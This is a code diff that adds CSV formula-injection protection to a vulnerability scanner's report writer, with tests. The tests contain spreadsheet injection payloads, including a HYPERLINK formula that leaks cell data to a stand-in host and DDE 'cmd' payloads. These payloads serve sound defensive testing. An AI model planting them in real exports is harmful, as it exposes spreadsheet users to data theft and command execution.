diff --git a/strix/report/writer.py b/strix/report/writer.py
index 7ca28e29..b5f65b45 100644
--- a/strix/report/writer.py
+++ b/strix/report/writer.py
@@ -26,10 +26,31 @@ logger = logging.getLogger(__name__)
 
 _SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
 
+_CSV_FORMULA_PREFIXES = ("=", "+", "-", "@", "\t", "\r")
+
 _FENCE_RE = re.compile(r"^```([^\n`]*)\r?\n(.*?)\r?\n?```$", re.DOTALL)
 _BACKTICK_RUN = re.compile(r"`+")
 
 
+def csv_safe(value: object) -> str:
+    """Return ``value`` as a CSV cell a spreadsheet will not treat as a formula.
+
+    Excel, LibreOffice and Sheets evaluate a cell whose first character is one of
+    ``= + - @``, tab or carriage return. The :mod:`csv` module quotes CSV syntax
+    but has no notion of formula triggers, so such a value reaches the cell intact
+    and is executed on open (CWE-1236). Vulnerability titles quote text from the
+    scanned target, which is exactly the attacker-influenced input this guards
+    against.
+
+    Prefixing with an apostrophe is the standard mitigation: spreadsheets treat
+    the rest of the cell as literal text and hide the apostrophe on display.
+    """
+    text = str(value)
+    if text.startswith(_CSV_FORMULA_PREFIXES):
+        return "'" + text
+    return text
+
+
 def safe_fence(content: str) -> str:
     """Return a backtick fence that ``content`` cannot break out of.
 
@@ -151,11 +172,11 @@ def write_vulnerabilities(
     for report in sorted_reports:
         csv_writer.writerow(
             {
-                "id": report["id"],
-                "title": report["title"],
-                "severity": report["severity"].upper(),
-                "timestamp": report["timestamp"],
-                "file": f"vulnerabilities/{report['id']}.md",
+                "id": csv_safe(report["id"]),
+                "title": csv_safe(report["title"]),
+                "severity": csv_safe(report["severity"].upper()),
+                "timestamp": csv_safe(report["timestamp"]),
+                "file": csv_safe(f"vulnerabilities/{report['id']}.md"),
             },
         )
     atomic_write_text(csv_path, csv_buf.getvalue())
diff --git a/tests/test_report_writer.py b/tests/test_report_writer.py
index f6f0dbcc..25ad3de6 100644
--- a/tests/test_report_writer.py
+++ b/tests/test_report_writer.py
@@ -163,6 +163,53 @@ def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) ->
     assert csv_rows[0]["severity"] == "CRITICAL"
 
 
+@pytest.mark.parametrize(
+    "payload",
+    [
+        '=HYPERLINK("http://evil.example/leak?d="&A1,"View")',
+        "+cmd|'/c calc'!A1",
+        "@SUM(1+1)*cmd|'/c calc'!A1",
+        "-2+3+cmd|'/c calc'!A1",
+        "\t leading tab",
+        "\r leading carriage return",
+    ],
+)
+def test_write_vulnerabilities_csv_neutralizes_formula_injection(
+    tmp_path: Path,
+    payload: str,
+) -> None:
+    # Titles quote text from the scanned target, so a finding title can begin with
+    # a spreadsheet formula trigger. csv escapes CSV syntax but not formula
+    # triggers, so the cell has to be neutralized before it is written.
+    write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set())
+
+    csv_rows = list(
+        csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
+    )
+    title = csv_rows[0]["title"]
+    assert title.startswith("'")
+    assert not title.startswith(("=", "+", "-", "@", "\t", "\r"))
+
+
+def test_write_vulnerabilities_csv_preserves_payload_after_guard(tmp_path: Path) -> None:
+    payload = "=1+1"
+    write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set())
+
+    csv_rows = list(
+        csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
+    )
+    assert csv_rows[0]["title"] == "'=1+1"  # guard prefix only, payload intact
+
+
+def test_write_vulnerabilities_csv_leaves_benign_titles_unchanged(tmp_path: Path) -> None:
+    write_vulnerabilities(tmp_path, [_sample_report(title="SQL Injection in /login")], set())
+
+    csv_rows = list(
+        csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
+    )
+    assert csv_rows[0]["title"] == "SQL Injection in /login"
+
+
 def test_write_vulnerabilities_skips_already_saved_ids(tmp_path: Path) -> None:
     reports = [_sample_report(id="vuln-0001")]
     saved: set[str] = {"vuln-0001"}